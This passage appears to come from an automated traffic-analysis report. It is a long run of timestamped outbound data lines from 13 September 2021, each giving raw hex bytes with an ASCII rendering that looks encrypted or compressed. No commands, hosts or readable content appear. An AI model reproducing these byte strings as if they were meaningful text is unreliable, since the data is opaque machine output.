31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:18 UTC	9472	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:18 UTC	9488	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:18 UTC	9504	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:18 UTC	9520	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:18 UTC	9536	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:18 UTC	9552	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:18 UTC	9568	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:18 UTC	9584	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:18 UTC	9600	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:18 UTC	9616	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:18 UTC	9632	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:18 UTC	9648	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:18 UTC	9664	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:18 UTC	9680	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:18 UTC	9696	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:18 UTC	9712	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:18 UTC	9728	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:18 UTC	9744	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:18 UTC	9760	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:18 UTC	9776	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 